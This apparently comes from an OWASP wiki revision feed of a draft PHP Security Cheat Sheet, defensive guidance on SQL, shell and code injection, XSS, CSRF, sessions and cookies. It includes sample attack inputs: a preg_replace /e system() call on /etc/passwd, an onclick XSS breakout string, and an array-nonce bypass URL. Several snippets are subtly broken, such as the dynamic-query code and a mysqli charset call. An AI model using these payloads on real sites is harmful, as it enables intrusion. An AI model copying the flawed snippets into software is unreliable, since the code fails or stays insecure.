===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184329</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184329"/>
				<updated>2014-10-30T08:19:49Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Authors and Primary Editors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
